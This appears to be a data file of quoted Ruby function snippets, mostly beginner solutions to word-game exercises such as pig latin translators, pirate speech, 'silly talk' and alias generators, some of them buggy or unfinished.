"def pirate_speech(sentence)\n sentence.gsub('Hello', 'Ahoy').\n gsub('hello', 'ahoy').\n gsub('Friend', 'Matey').\n gsub('friend','matey').\n gsub('Yes', 'Aye').\n gsub('yes', 'aye') + \" Arrrrr\"\nend",
"def pig_latin_sentence(sentence)\r\n\tnew_sentence = \"\"\r\n\tsentence.split.each do |word|\r\n\t\tif word[0].downcase =~ /[aeiou]/\r\n\t\t\tword << \"way\" \r\n\t\telse\r\n\t\t\tn = /[aeiou]/.match word.downcase\r\n\t\t\tword = n.to_s + n.post_match + n.pre_match + \"ay\"\r\n\t\tend\r\n\t\tnew_sentence << word\r\n\tend\r\n\tnew_sentence\r\nend",
"def convert (str)\r\n# REFERENCE : Using logic from this source https://stackoverflow.com/questions/13498688/pig-latin-method-translation\r\n alpha = ('a'..'z').to_a\r\n vowels = %w[a e i o u]\r\n consonants = alpha - vowels\r\n lstr = str.downcase\r\n if vowels.include?(lstr[0])\r\n str + 'way'\r\n elsif consonants.include?(lstr[0]) && consonants.include?(lstr[1]) && consonants.include?(lstr[2])\r\n str[3..-1] + str[0..2] + 'ay'\r\n elsif consonants.include?(lstr[0]) && consonants.include?(lstr[1])\r\n str[2..-1] + str[0..1] + 'ay'\r\n elsif consonants.include?(lstr[0])\r\n str[1..-1] + str[0] + 'ay'\r\n else\r\n str # return unchanged\r\n end\r\nend",
"def translate string\n\n\t#This splits the string into an array of words\n\twords = string.split(\" \")\n\t\n\t#Goes through each word in array words\n\tfor i in 0...words.length\n\n\t\t#This splits each word into an array of characters\n\t\tcharacters = words[i].chars\n\n\t\t#If a word begins with a vowel, add \"ay\" to the end of the word\n\t\tif isVowel characters[0]\n\n\t\t\tcharacters.push(\"a\", \"y\")\n\t\t\twords[i] = characters.join(\"\")\n\n\t\t#If a word does not begin with a vowel...\n\t\telse\n\n\t\t\t#While the first character is not a vowel, move it to the back of the word\n\t\t\twhile !(isVowel characters[0])\n\n\t\t\t\t#If the first character is a \"q,\"\n\t\t\t\tif characters[0] == \"q\"\n\n\t\t\t\t\t#and the next character is a \"u,\" push both the \"qu\" to the end\n\t\t\t\t\tif characters[1] == \"u\"\n\n\t\t\t\t\t\tconsonant = characters.shift\n\t\t\t\t\t\tcharacters.push(consonant)\n\t\t\t\t\t\tu = characters.shift\n\t\t\t\t\t\tcharacters.push(u)\n\n\t\t\t\t\tend\n\n\t\t\t\t#Otherwise, just push the first letter to the end\n\t\t\t\telse\n\n\t\t\t\t\tconsonant = characters.shift\n\t\t\t\t\tcharacters.push(consonant)\n\n\t\t\t\tend\n\n\t\t\tend\n\n\t\t\t#Then add \"ay\" to the end of the word\n\t\t\tcharacters.push(\"a\", \"y\")\n\t\t\twords[i] = characters.join(\"\")\n\n\t\tend\n\t\t\n\tend\n\n\t#Joins together all the words with a space in between them and returns the modified string as an answer\n\tanswer = words.join(\" \")\n\treturn answer\n\nend",
"def reverberate(sentence)\n vowels = \"aeiou\"\n words = sentence.split(\" \")\n converted_sentence = []\n\n words.each do |word|\n if word.length < 3\n converted_sentence << word\n elsif vowels.include?(word[-1].downcase)\n converted_sentence << word + word[0].downcase + word[1..-1]\n else\n uppercase = word[0] == word[0].upcase ? true : false\n count = word.length - 1\n\n while count > 0\n if vowels.include?(word[count])\n new_word = word + word[count..-1]\n converted_sentence << new_word\n break\n end\n count -= 1\n end\n end\n end\n\n converted_sentence.join(\" \")\nend",
"def aliass(full_name)\n alphabet = \"bcdfghjklmnpqrstvwxyz\"\n vowels = \"aeiou\"\n new_string = \"\"\n \n #break input word into array and iterate through each letter\n #if the letter is a vowel, take it and change it to next_vowel\n #if the letter is a consonant, take it and change it to consonant\n #else just add with no modification\n full_name.split('').each do |letter|\n if vowels.include?(letter)\n new_string += vowel(letter)\n elsif alphabet.include?(letter)\n new_string += consonant(letter)\n else\n new_string += letter\n end\n end\n #transform this new string into an array\n new_word = new_string.split(' ')\n #swap first and second word in array\n new_word.reverse!\n #turn new word into string\n new_word.map {|names| names.capitalize!}\n new_string = new_word.join(\" \")\n end",
"def translate(sentence)\n #we .split that sentence. Because we do not give a limit, the sentence is automaticly split along the spaces.\n #we .map the result of the .split to make every word in the array a variable= word.\n sentence.split.map do |word|\n #We define what the first vowel of the word is by a different method (first_vowel) and assign it as variable v\n v = first_vowel(word)\n # we slice of the first vowel and the letter preceding that. then we add the first letter of the word at the end, and add +ay\n word.slice(v..-1) + word[0,v] + \"ay\"\n #We end the function and join the retunring array with spaces in between.\n end.join(\" \")\n end",
"def pig_it(sentence)\n sentence.split.map do |word|\n if ('a'..'z').cover?(word.downcase)\n word[1..-1] + word[0] + 'ay'\n else\n word\n end\n end.join(' ')\nend",
"def translate(sentence)\r\n words = sentence.split(\" \")\r\n words.collect! do |a|\r\n if(a =~ /\\w\\.\\.\\.\\w/) #matching e.g \"yes...no\"\r\n morewords = a.split(\"...\")\r\n ##\r\n #alternative: allows for recursion, but loses accuracy since \"a...b\" becomes \"a ... b\"\r\n #probably some non-messy way to make it work, and be less redundant too\r\n #\r\n #morewords.insert(1, \"...\")\r\n #translate(morewords.join(\" \"))\r\n pig(morewords[0], 1) + \"...\" + pig(morewords[1], 1)\r\n elsif(a =~ /\\w\\W\\w/ and !(a =~ /'/)) #matching e.g. \"steins;gate\", \"ninety-nine\", but not \"it's\"\r\n nonletter = a.scan(/\\W/)[0]\r\n morewords = a.split(/\\W/)\r\n #morewords.insert(1, nonletter)\r\n #translate(morewords.join(\" \"))\r\n pig(morewords[0], 1) + nonletter + pig(morewords[1], 1)\r\n elsif(a[0..1].match(/qu/)) #quiet = ietquay\r\n pig(a, 2)\r\n elsif(a[0..2].match(/sch|.qu/)) #school = oolschay, square = aresquay\r\n pig(a, 3)\r\n else\r\n x = a.index(/[AaEeIiOoUu]/) #starts with other consonant(s) or a vowel; find the first vowel\r\n if(!(x.nil?)) #found at least one vowel\r\n pig(a, x) \r\n else #x is nil, no vowels found\r\n a.index(/[[:alpha:]]/) ? pig(a, 1) : a #if it contains letters, attempt to process; otherwise, do nothing\r\n end\r\n end\r\n end\r\n return words.join(\" \")\r\nend",
"def pig_it text\n\n # split string into array of words\n text_array = text.split(\" \")\n \n #for each word take first character from index [0] and move to last character index [-1] + 'ay', remove first character\n latin_array = text_array.map do |word|\n new_word = word + word[0] + \"ay\" \n new_word[1..-1]\n end\n \n #join together to single string\n latin_string = latin_array.join(\" \")\n \n #delete 'ay' from endings of sentences with punctuation - kind of cheating \n latin_string.sub! '!ay', '!' \n latin_string.sub! '?ay', '?'\n\n latin_string\n\nend",
"def pigatize(text)\n if starts_with_vowel?(text)\n text + \"way\"\n else\n text.chars.rotate.join + \"ay\"\n end\nend",
"def translate(input)\n #outStr = input.downcase\n outStr = input\n\n # replace words\n # still need to add punctuation and missing words\n outStr = single_words(outStr)\n\n # prepend and append\n outStr = prepend_and_append(outStr)\n\n # punctuation\n #outStr = punctuation(outStr)\n\n # change tags like &god or &bodypart, etc\n outStr = change_tags(outStr)\n\n\n puts outStr\n end",
"def translate(string)\n newArr = []\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n \n # * Split it into words\n words = string.split()\n\n # * For every word in the sentence...\n words.each do |word|\n # * If the word has 'qu'\n if word[1..2].downcase == \"qu\"\n newArr << word[3..-1] + word[0..2] + \"ay\"\n\n elsif word[0..1].downcase == \"qu\"\n newArr << word[2..-1] + word[0..1] + \"ay\"\n\n # * If it starts with a vowel\n elsif vowels.include?(word[0].downcase)\n newArr << word + \"ay\"\n\n # * If the first three consonants aren't vowels\n elsif not vowels.include?(word[0].downcase) and not vowels.include?(word[1]) and not vowels.include?(word[2])\n newArr << word[3..-1] + word[0..2] + \"ay\" \n # * ...or if the first two consonants aren't vowels\n elsif not vowels.include?(word[0].downcase) and not vowels.include?(word[1])\n newArr << word[2..-1] + word[0..1] + \"ay\" \n \n # * After all that, if it starts with one consonant\n else\n newArr << word[1..-1] + word[0] + \"ay\"\n end\n end\n\n newArr.join(\" \")\nend",
"def reverberate(sent)\n new_arr = []\n words_arr = sent.split(\" \")\n vowels = \"aeiouAEIOU\"\n words_arr.each do |word|\n capt = false\n if word.capitalize == word\n capt = true\n end\n if word.length < 3\n new_arr << capt ? word.capitalize : word #new_arr << capt ? word.capitalize : word\n elsif vowels.include?(word[-1])\n new_arr << (capt ? (word * 2).capitalize : word * 2)\n elsif !vowels.include?(word[-1])\n rev_index = word.chars.reverse.index { |char| vowels.include?(char) }\n i = word.length - 1 - rev_index\n new_arr << (capt ? (word + word[i..-1]).capitalize : word + word[i..-1])\n end\n end\n new_arr.join(\" \")\nend",
"def translate word\n alpha = ('a'..'z').to_a\n vowels = %w[a e i o u]\n consonants = alpha - vowels\n\n if vowels.include?(word[0])\n word + 'ay'\n elsif consonants.include?(word[0]) && consonants.include?(word[1])\n word[2..-1] + word[0..1] + 'ay'\n elsif consonants.include?(word[0])\n word[1..-1] + word[0] + 'ay'\n else\n word # return unchanged\n end\nend",
"def translate s\n \n words = s.split.map{|word|\n if %w(a e i o u).include?(word[0])\n word << \"ay\"\n elsif %w(thr sch squ).include?(word[0..2])\n word[3..-1] << (word[0..2] << \"ay\")\n elsif %w(ch qu br th).include?(word[0..1])\n word[2..-1] << word[0..1] << \"ay\" \n else\n word[1..-1] << (word[0] << \"ay\") \n end\n }\n words.join(\" \")\n\nend",
"def aliass(full_name)\n\talphabet = \"bcdfghjklmnpqrstvwxyz\"\n\tvowels = \"aeiou\"\n\tnew_string = \"\"\n\n\t#break input word into array and iterate through each letter\n\t#if the letter is a vowel, take it and change it to next_vowel\n\t#if the letter is a consonant, take it and change it to consonant\n\t#else just add with no modification\n\tfull_name.split('').each do |letter|\n\t\tif vowels.include?(letter)\n\t\t\tnew_string += vowel(letter)\n\t\telsif alphabet.include?(letter)\n\t\t\tnew_string += consonant(letter)\n\t\telse\n\t\t\tnew_string += letter\n\t\tend\n\tend\n\t#transform this new string into an array\n\tnew_word = new_string.split(' ')\n\t#swap first and second word in array\n\tnew_word.reverse!\n\t#turn new word into string\n\tnew_word.map {|names| names.capitalize!}\n\tnew_string = new_word.join(\" \")\nend",
"def silly_talk(sentence)\n vowels = 'aeiou'\n new_sentence = []\n\n sentence.split(' ').each do |word|\n new_word = ''\n if vowels.include?(word[-1])\n new_word = word + word[-1]\n else\n word.each_char do |char|\n if vowels.include?(char.downcase)\n new_word << char + 'b' + char.downcase\n else\n new_word << char\n end\n end\n end\n new_sentence << new_word\n end\n\n new_sentence.join(' ')\nend",
"def silly_talk(sent)\n vowels = 'aeiou'\n words = sent.split\n new_words = []\n\n words.each do |word|\n if vowels.include?(word[-1])\n new_words << word + word[-1] \n else \n new_words << word.split('').map { |c| vowels.include?(c) ? (c + 'b' + c) : c }.join\n end \n end \n\n new_words.join(' ')\n\nend",
"def translate str\n alpha = ('a'..'z').to_a\n vowels = %w[a e i o u]\n consonants = alpha - vowels\n\n if vowels.include?(str[0])\n str + 'ay'\n elsif consonants.include?(str[0]) && consonants.include?(str[1])\n str[2..-1] + str[0..1] + 'ay'\n elsif consonants.include?(str[0])\n str[1..-1] + str[0] + 'ay'\n else\n str # return unchanged\n end\nend",
"def vowel_trans(word)\n return word + \"yay\"\n end",
"def typoglycemiaSentence(input)\n words = input.split(' ')\n words.map! { |x| typoglycemiaWord(x) }\n words.join(\" \")\nend",
"def translate_word(word)\n first_letter = word[0].downcase\n \n if word[0..1] == \"qu\"\n return word[2..-1] + word[0..1] + \"ay\"\n end\n if word[0] == \"s\" && word[1..2] == \"qu\"\n \n return word[3..-1] + word[0] + word[1..2] + \"ay\"\n end\n\n if [\"a\", \"e\", \"i\", \"o\", \"u\"].include?(first_letter)\n #translate word that starts with vowel\n \"#{word}ay\"\n else\n #translate word that starts with consonant(s)\n consonants = []\n consonants << word[0]\n\n if[\"a\", \"e\", \"i\", \"o\", \"u\"].include?(word[1]) == false\n consonants << word[1]\n\n if[\"a\", \"e\", \"i\", \"o\", \"u\"].include?(word[2]) == false\n consonants << word[2]\n\n end\n\n end\n \"#{word[consonants.length..-1] + consonants.join + \"ay\"}\"\n end\nend",
"def pig_latin_sentence(sentence)\n y = sentence\n x = sentence.split\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n t = \"t\"\n h = \"h\"\n qu = \"qu\"\n\n x.map do |word|\n first_letter = word[0]\n if vowels.include?(first_letter)\n word << \"way\"\n elsif word.include?(t && h)\n word << t\n word << h\n word.slice!(0..1)\n word << \"ay\"\n elsif word.include?(qu)\n word << qu\n word.slice!(0..1)\n word << \"ay\"\n else\n word << first_letter\n word.slice!(0)\n word << \"ay\"\n end\n x[0].capitalize!\n end\n\n x.join(\" \")\nend",
"def translate(str)\n\n\n\n # Vowels to consider\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n \n # Special cases to consider\n two_letter_consonants = [\"ch\", \"sh\", \"qu\", \"th\", \"br\"]\n three_letter_consonants = [\"thr\", \"sch\", \"squ\"]\n\n words = str.split(\" \")\n result = []\n\n words.each do |word|\n if vowels.include?(word[0])\n result.push word << \"ay\"\n else \n if three_letter_consonants.include? (word[0] + word[1] + word[2])\n first_three_letters = word.slice!(0,3)\n \n # Add letters to end of word with 'ay'\n result.push word << first_three_letters << 'ay'\n elsif two_letter_consonants.include?(word[0] + word[1])\n first_two_letters = word.slice!(0,2)\n result.push word << first_two_letters << \"ay\"\n else \n first_letter = word.slice!(0)\n \n # Add first letter to end of word with 'ay'\n result.push word << first_letter << 'ay'\n end #End of special consonant check\n end \n end \n return result.join(\" \")\nend",
"def translate(your_string)\n words = your_string.split(/\\s+/)\n vowels = %w{a e i o u}\n th_ch = %q{th ch sh sc qu }\n three_letter = %q{sch}\n translated_words=[]\n words.each do |word|\n letters = word.scan(/\\w/)\n word_length = letters.length\n \n if vowels.include?(letters[0])\n #word begins with a vowel\n word += \"ay\"\n \n elsif th_ch.include?(letters[0]+letters[1]) && !vowels.include?(letters[2])\n # word begins with three consonants\n word = (letters[3..word_length-1]<<letters[0]<<letters[1]<<letters[2]).join.to_s+\"ay\"\n \n elsif th_ch.include?(letters[0]+letters[1]) && vowels.include?(letters[2])\n #word begins with two defined consonants followed by a vowel\n word = (letters[2..word_length-1]<<letters[0]<<letters[1]).join.to_s+\"ay\"\n \n elsif (letters[1]+letters[2]) == \"qu\"\n # word starts with a <consonant + \"qu\">\n word = (letters[3..word_length-1]<<letters[0]<<letters[1]<<letters[2]).join.to_s+\"ay\"\n \n elsif !vowels.include?(letters[0]) && !vowels.include?(letters[1])\n #word begins with two not_defined consonants followed by a vowel\n word = (letters[2..word_length-1]<<letters[0]<<letters[1]).join.to_s+\"ay\"\n \n else\n # only one consonant begins the word\n word = (letters[1..word_length-1]<<letters[0]).join.to_s+\"ay\"\n end\n translated_words << word\n end\n translated_words.join(\" \").to_s\nend",
"def consonant_cancel(sentence)\n \tnewSentence = \"\"\n\tsentence.split.each do |word|\n \t# puts word\n \tnewSentence = newSentence + \" \" + find_vowel(word)\n end\n \treturn newSentence\nend",
"def translate(s)\n vowels = 'aeiou'\n phoneme1 = ['ch', 'qu', 'br', 'th']\n phoneme2 = ['sch', 'thr', 'squ']\n\nstring = s.split.each do |i|\n if vowels.include?i[0]\n i << \"ay\"\n elsif\n phoneme2.include?(i[0..2])\n return i[3..-1] + i[0..2] + \"ay\"\n elsif\n phoneme1.include?(i[0..1])\n return i[2..-1] + i[0..1] + \"ay\"\n else\n new_ending = i.slice!(0)\n i << new_ending + \"ay\" \n end\n end\n string = string.join(\" \")\nend",
"def sentence_maker(strings)\n sentance = \"\"\n strings.each do |word|\n sentance += word.to_s + \" \"\n end\n sentance.strip!\n sentance.capitalize + \".\"\n\nend",
"def amendTheSentence(s)\n s.gsub(/([A-Z])/, ' \\1').strip.downcase\nend",
"def silly_talk(str)\n vows = \"aeiou\"\n\n new_talk = str.split(\" \").map do |wrd|\n if vows.include?(wrd[-1].downcase)\n wrd + wrd[-1]\n else\n silly = wrd.split(\"\").map do |char|\n if vows.include?(char)\n char + \"b\" + char\n else\n char\n end\n end\n silly.join(\"\")\n end\n end\n\n new_talk.join(\" \")\nend",
"def pig_latin_name(word)\n# and returns a new string (pig latinified)\n# need to define vowels (can be an array?)\n vowels_list = vowels\n# break word into letters\n letters = word.split(\"\")\n# iterate through each letter of the word\n# until we hit a vowel\n letters.each do |letter|\n\n # check if first letter is vowel or consonant\n if is_consonant?(letter)\n # move it to the end\n removed_consonant = letters.shift\n letters = letters + removed_consonant.split\n #\n else\n letters.push(\"ay\")\n return letters.join\n end\n\n # then add \"ay\" at the end and return\n end\n\nend",
"def pig_latin(string)\n words_array = string.split(\" \")\n modified_words_array = \"\"\n words_array.map do |word|\n \n if word =~ /\\A[aeiou]/\n word += \"ay\"\n modified_words_array << word + \" \"\n \n # regex to grab three consonants took from http://stackoverflow.com/questions/18406509/using-regexp-to-check-whether-a-string-starts-with-a-consonant\n # word starts with three consonants or \"[const.]qu\" ie. \"square\", \"squat\"\n elsif ( word =~ /\\A(?i:(?![aeiou])[a-z]){3}/ ) || ( word =~ (/\\b[^aeiou]+qu/) ) # word =~ /\\A[^aeiou]+qu{3}/ )\n without_first_three = word[3..-1]\n without_first_three += word[0..2] + \"ay\"\n if word[0] == word[0].upcase\n without_first_three.capitalize!\n end\n modified_words_array << without_first_three + \" \"\n \n # word starts with two consonants or \"qu\" ie. \"quake\", \"quart\" \n elsif ( word =~ /\\A(?i:(?![aeiou])[a-z]){2}/ ) || ( word =~ /\\A[qu]{2}/ )\n without_first_two = word[2..-1]\n without_first_two += word[0..1] + \"ay\"\n if word[0] == word[0].upcase\n without_first_two.capitalize!\n end\n modified_words_array << without_first_two + \" \"\n \n # word starts with consonant \n elsif word =~ /\\A[^aeiou]/\n without_first = word[1..-1]\n without_first += word[0] + \"ay\"\n if word[0] == word[0].upcase\n without_first.capitalize!\n end\n modified_words_array << without_first + \" \"\n end\n \n end\n modified_words_array.chomp(\" \")\nend",
"def translate word\n\n\tsplit = word.split(\" \")\n\tlatin = \"\"\n\tvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n\t\n\n\n\tsplit.each do |string|\n\n\t\ta = 0\n\t\tconsts = 0\n\n\t\twhile vowels.include?(string[a]) === false\n\t\t\tconsts = consts + 1\n\t\t\ta = a + 1\n\t\tend\n\n\t\tif string[consts -1] === \"q\"\n\t\t\tif string[consts] === \"u\"\n\t\t\t\tconsts = consts + 1\n\t\t\tend\n\t\tend\n\n\t\tb = string[0, consts]\n\n\t\t\n\t\tif consts === 1\n\t\t\tlatin = latin + string[consts, string.length-1] + string[0] + \"ay\"\n\t\telsif\tconsts > 1\n\t\t\tlatin = latin + string[consts, string.length-1] + b + \"ay\"\n\t\telse\n\t\t\tlatin = latin + string + \"ay\"\n\t\tend\n\n\tlatin = latin + \" \"\n\n\tend\n\n\tlatin.strip\n\t\nend",
"def yell_sentence(sent)\n\twords = sent.split(\" \")\n \tnew_words = words.map{ |word| word.upcase + \"!\"}\n \treturn new_words.join(\" \")\nend",
"def sentence_maker_refactored(words)\n words.first.capitalize!\n words.join(\" \") + \".\"\nend",
"def replace(s)\n s.tr(\"aeiouAEIOU'\",\"!\")\nend",
"def alias_creator(nickname)\nvowels=\"aeiou\"\nconsonants=\"bcdfghjklmnpqrstvwxyz\"\n#consonants exclude all vowels\n\nnickname_split=nickname.split(\"\")\nnew_nickname=[]\n#The translated nickname will be saved in the new_nickname arrawy\n\nnickname_split.map! do |x|\n\tif vowels.include?(x)\n\t\tnew_nickname << vowels[vowels.index(x)+1]\n\telsif consonants.include?(x)\n\t\tnew_nickname << consonants[consonants.index(x)+1]\n\telsif x == \" \"\n\t\tnew_nickname << \" \"\n\tend\nend\nnew_nickname.join(\"\").split.map {|x| x.capitalize}.join(\" \")\n#We are doing this so that we capitalize the first letter of both words\nend",
"def translate(str)\n\n words = str.split(\" \")\n\n translated_words = words.collect do |word|\n if (\"aeiou\").include?(word[0]) then\n word + \"ay\"\n elsif (word[0..1]).include?(\"qu\") then\n word[2..-1] + word[0..1] + \"ay\"\n elsif (word[0..2]).include?(\"qu\") then\n word[3..-1] + word[0..2] + \"ay\"\n else\n n = word.index(/[aeiou]/)\n word[n..-1] + word[0..n-1] + \"ay\"\n end\n end\n\n translated_words.join(\" \")\nend",
"def aliass(full_name)\n\talphabet = \"bcdfghjklmnpqrstvwxyz\"\n\tvowels = \"aeiou\"\n\tnew_string = \"\"\n\n full_name.split('').each do |letter|\n \t\tif vowels.include?(letter)\n \t\t\tnew_string += vowel(letter)\n \t\telsif alphabet.include?(letter)\n \t\t\tnew_string += consonant(letter)\n \t\telse\n \t\t\tnew_string += letter\n \t\tend\nend\n#Transform this new string into an array\n#Swap first and second word in array\n#Turn new word into string\n#Create empty array outside of loop\nnew_word = new_string.split(' ')\n new_word.reverse!\n\nnew_word.map {|names| names.capitalize!}\nnew_string = new_word.join(\" \")\nend",
"def translate(words)\n split_words = words.split\n split_words.each_with_index do |word, i|\n # check if first letter is a vowel\n if word[0].include? VOWELS.join\n word = add_ay(word) # add ay to the back of the word\n split_words[i] = word\n\n elsif word[0].include? CONSONANTS\n find_phoneme(word)\n elsif (word[0].include? CONSONANTS) && (word[1].include? CONSONANTS)\n find_phoneme(word)\n elsif (word[0].include? CONSONANTS) && (word[1].include? CONSONANTS) && (word[2].include? CONSONANTS)\n\n # the word has a consonant at the beginning with\n # no special conditions\n else\n word = one_cons_at_beginning(word)\n word = add_ay(word)\n split_words[i] = word\n end\n end\n split_words.join\nend",
"def abbreviate_sentence(sent)\n abbreviated = \"\"\n sent.split.each do |word|\n if word.length > 4\n abbreviated += remove_vowels(word)\n else\n abbreviated += word\n end\n abbreviated += \" \"\n end\n\n return abbreviated\nend",
"def pigatize\n # Declare the output string\n piglatin = ''\n # Split the input text into words and loop with .each,\n # and 'word' as the iterator variable.\n split(' ').each do |word|\n # Check to see if the first letter is a vowel, else it's a consonant.\n if starts_with_vowel(word[0])\n # Add onto the output string with += and add an extra space.\n piglatin += word + 'way'\n else\n piglatin += word[1..-1] + word[0] + 'ay' + ' '\n end\n end\n # Added a .chomp here to get rid of any trailing space.\n piglatin.chomp\n end",
"def format_sentence(sentence)\n pattern = /([\\.\\?\\!] [A-z])/\n scan = sentence.scan(pattern).flatten\n scan.each do |occurence|\n replacement = occurence.upcase\n sentence.sub!(occurence, replacement)\n end\n sentence[0] = sentence[0].upcase\n sentence\nend",
"def translate(arr)\n vowels = %w{a e i o u y}\n consonants = %w{b c d f g h j k l m n p q r s t v w x y z}\n\n a = arr.split.map do |word| \n if vowels.include?(word[0])\n word + \"ay\"\n elsif word[0..1] == \"qu\"\n word[2..-1] + \"quay\"\n elsif word[0..2] == \"sch\"\n word[3..-1] + \"schay\"\n elsif word[0..2] == \"squ\"\n word[3..-1] + \"squay\"\n elsif consonants.include?(word[0]) && consonants.include?(word[1]) && consonants.include?(word[2])\n word[3..-1] + word[0..2] + \"ay\"\n elsif consonants.include?(word[0]) && consonants.include?(word[1])\n word[2..-1] + word[0..1] + \"ay\"\n elsif consonants.include?(word[0])\n word[1..-1] + word[0] + \"ay\"\n end\n end\n\n a.join(\" \")\nend",
"def translator(file)\n #Opens the file\n text = File.read(file)\n #Check the content for any non vocals -> adds an o and the non vocal instead\n replace = text.gsub!(/([bcdfghjklmnpqrstvwxzBCDFGHJKLMNPQRSTVWXZ])/, '\\1o\\1')\n #Replace the original content with translated content\n File.open(file, \"w\") {|z| z.puts replace}\nend",
"def pig_latinify(sentence)\nend",
"def yell_sentence(sent)\n # yell = sent.split(\" \")\n # yell = yell.map { |char| char.upcase + \"!\" }\n # return yell.join(\" \")\n return sent.split.map { |char| char.upcase + \"!\" }.join(\" \")\nend",
"def translate_word word\n # Don't translate short words\n return word if word.size == 1\n\n # Handle specific words\n dictionary = {\n 'AWESOME' => 'ERSUM',\n 'BANANA' => 'BERNERNER',\n 'BAYOU' => 'BERU',\n 'FAVORITE' => 'FRAVRIT',\n 'FAVOURITE' => 'FRAVRIT',\n 'GOOSEBUMPS' => 'GERSBERMS',\n 'LONG' => 'LERNG',\n 'MY' => 'MAH',\n 'THE' => 'DA',\n 'THEY' => 'DEY',\n 'WE\\'RE' => 'WER',\n 'YOU' => 'U',\n 'YOU\\'RE' => 'YER',\n\n 'awesome' => 'ersum',\n 'banana' => 'bernerner',\n 'bayou' => 'beru',\n 'favorite' => 'fravrit',\n 'favourite' => 'fravrit',\n 'goosebumps' => 'gersberms',\n 'long' => 'lerng',\n 'my' => 'mah',\n 'the' => 'da',\n 'they' => 'dey',\n 'we\\'re' => 'wer',\n 'you' => 'u',\n 'you\\'re' => 'yer',\n\n 'Awesome' => 'Ersum',\n 'Banana' => 'Bernerner',\n 'Bayou' => 'Beru',\n 'Favorite' => 'Fravrit',\n 'Favourite' => 'Fravrit',\n 'Goosebumps' => 'Gersberms',\n 'Long' => 'Lerng',\n 'My' => 'Mah',\n 'The' => 'Da',\n 'They' => 'Dey',\n 'We\\'re' => 'Wer',\n 'You' => 'U',\n 'You\\'re' => 'Yer',\n }\n\n return dictionary[word] if dictionary.key? word\n \n # Before translating, keep a reference of the original word\n original_word = \"\"\n original_word << word\n\n word.upcase!\n\n # Drop vowel from end of words. Keep it for short words, like \"WE\"\n word.sub!(/[AEIOU]$/, '') if original_word.size > 2\n\n # Reduce duplicate letters\n word.gsub!(/[^\\w]|(.)(?=\\1)/, '')\n\n # Reduce adjacent vowels to one\n word.gsub!(/[AEIOUY]{2,}/, 'E') # TODO: Keep Y as first letter\n\n # DOWN -> DERN\n word.gsub!(/OW/, 'ER')\n\n # PANCAKES -> PERNKERKS\n word.gsub!(/AKES/, 'ERKS')\n\n # The mean and potatoes: replace vowels with ER\n word.gsub!(/[AEIOUY]/, 'ER') # TODO: Keep Y as first letter\n\n # OH -> ER\n word.gsub!(/ERH/, 'ER')\n\n #MY -> MAH\n word.gsub!(/MER/, 'MAH')\n\n #FALLING -> FERLIN\n word.gsub!('ERNG', 'IN')\n\n #POOPED -> PERPERD -> PERPED\n word.gsub!('ERPERD', 'ERPED')\n\n #MEME -> MAHM -> MERM\n word.gsub!('MAHM', 'MERM')\n\n # Keep Y as first character\n # YES -> ERS -> YERS\n word = 'Y' + word if original_word[0] == 'Y'\n\n # Reduce duplicate letters\n word.gsub!(/[^\\w]|(.)(?=\\1)/, '')\n\n # YELLOW -> YERLER -> YERLO\n if original_word.end_with?('LOW') && word.end_with?('LER')\n word.sub!(/LER$/, 'LO')\n end\n\n # Resolve case\n return word.downcase if original_word[0] >= 'a' and original_word[0] <= 'z' and original_word[-1] >= 'a' and original_word[-1] <= 'z'\n return word[0] + word[1..-1].downcase if original_word[0] >= 'A' and original_word[0] <= 'Z' and original_word[-1] >= 'a' and original_word[-1] <= 'z'\n\n return word\n\nend",
"def convert_pig_latin(sent)\n vowels = \"aeiou\"\n latin = []\n\n sent = sent.split(\" \")\n sent.each_with_index do |word,idx|\n uppercase = false\n if word.length < 3\n latin << word\n elsif vowels.include?(word[0].downcase)\n latin << (word + \"yay\")\n else\n temp_str = \"\"\n i = 0\n while i < word.length\n uppercase = true if i == 0 && word[i] == word[i].upcase\n if !vowels.include?(word[i].downcase)\n temp_str += word[i]\n else \n new_word = (word[i..-1] + temp_str.downcase + \"ay\")\n uppercase ? ( latin << (new_word[0].upcase + new_word[1..-1]) ) : ( latin << new_word )\n break\n end\n i += 1\n end\n end\n end\n latin.join(\" \")\nend",
"def consonant_cancel(sentence)\n words = sentence.split(' ')\n new_words = words.map { |word| del_before_vowel(word) }\n return new_words.join(' ')\nend",
"def translate(sentence)\n\twordsArray = sentence.split(' ')\n\treturnArray = []\n\n\twordsArray.each do |e| \n\t\twhile true\n\t\t\tif e[0].match(/[aeiou]/)\n\t\t\t\te = e + 'ay'\n\t\t\t\treturnArray.push(e)\n\t\t\t\tbreak\n\t\t\telse\n\t\t\t\tif e[0..1].match(/qu/)\n\t\t\t\t\te = e + e[0..1]\n\t\t\t\t\te[0..1] = ''\n\t\t\t\telse\n\t\t\t\t\te = e + e[0]\n\t\t\t\t\te[0] = ''\n\t\t\t\tend\n\t\t\t\t#if e[0..2].match(/sch/)\n\t\t\t\t#puts e\n\t\t\tend\n\t\tend\n\tend\n\n\n\t#puts returnArray\n\treturn returnArray.join(' ')\nend",
"def pig_latinify(sentence)\n translated_words = sentence.split(\" \").map do |word|\n translate_word(word)\n end\n translated_words.join(\" \")\nend",
"def acronymize_online(sentence)\n sentence.split.map { |word| word[0].upcase }.join\nend",
"def postprocess( original, inflected )\n\n\t\t# If there's a classical variant, use it instead of the modern one if\n\t\t# classical mode is on.\n\t\tinflected.sub!( /([^|]+)\\|(.+)/ ) do\n\t\t\tLinguistics::EN.classical? ? $2 : $1\n\t\tend\n\n\t\t# Try to duplicate the case of the original string\n\t\tcase original\n\t\twhen \"I\"\n\t\t\treturn inflected\n\t\twhen /^[A-Z]+$/\n\t\t\treturn inflected.upcase\n\t\twhen /^[A-Z]/\n\t\t\t# Can't use #capitalize, as it will downcase the rest of the string,\n\t\t\t# too.\n\t\t\tinflected[0,1] = inflected[0,1].upcase\n\t\t\treturn inflected\n\t\telse\n\t\t\treturn inflected\n\t\tend\n\tend",
"def alias_maker(name)\n \n consonants = \"bcdfghjklmnpqrstvwxz\"\n next_cons = \"cdfghjklmnpqrstvwxzb\"\n \n name.downcase.tr(consonants,next_cons)\n .tr('aeiouy', 'eiouya')\n .split.reverse.each {|word| word.capitalize!}\n .join(' ')\n\n # Separated methods on lines 24-27 for readability\n # First .tr changes all consonants to next\n # Second .tr changes all vowels to next vowel\n # Split names to reverse and capitalize them\n # Rejoin to a single string\n\nend",
